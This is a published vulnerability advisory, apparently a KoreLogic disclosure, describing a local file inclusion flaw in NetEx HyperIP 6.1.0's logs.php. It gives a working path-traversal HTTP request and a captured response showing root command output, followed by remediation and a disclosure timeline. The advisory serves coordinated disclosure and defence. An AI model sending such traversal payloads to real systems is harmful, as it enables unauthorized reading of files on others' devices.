NetEx HyperIP 6.1.0 Local File Inclusion

Credit: Matt Bergin
Risk: Medium
Local: No
Remote: Yes

KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability Title: NetEx HyperIP Local File Inclusion Vulnerability Advisory ID: KL-001-2018-005 Publication Date: 2018.02.08 Publication URL: 1. Vulnerability Details Affected Vendor: NetEx Affected Product: HyperIP Affected Version: 6.1.0 Platform: Embedded Linux CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues Impact: Arbitrary Filesystem Reads Attack vector: HTTPS 2. Vulnerability Description Local files can be included within the HTTP response given by logs.php 3. Technical Description Any arbitrary file, such as the one created in KL-001-2018-004, can be returned by the logs.php script. GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1 Host: Accept-Language: en-US,en;q=0.5 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <meta HTTP-EQUIV="Expires" CONTENT="0"> <link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css"> </head> <body class="dsp"> <H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1> <pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) </pre> </body> </html> 4. Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.24 - KoreLogic submits vulnerability details to NetEx. 2017.07.24 - NetEx confirms receipt. 2017.08.16 - NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined. 2017.09.05 - 30 business days have elapsed since the vulnerability was reported to NetEx. 2017.09.19 - NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018. 2017.09.26 - 45 business days have elapsed since the vulnerability was reported to NetEx. 2017.12.01 - 90 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.17 - 120 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live. 2018.02.08 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. Our public vulnerability disclosure policy is available at:

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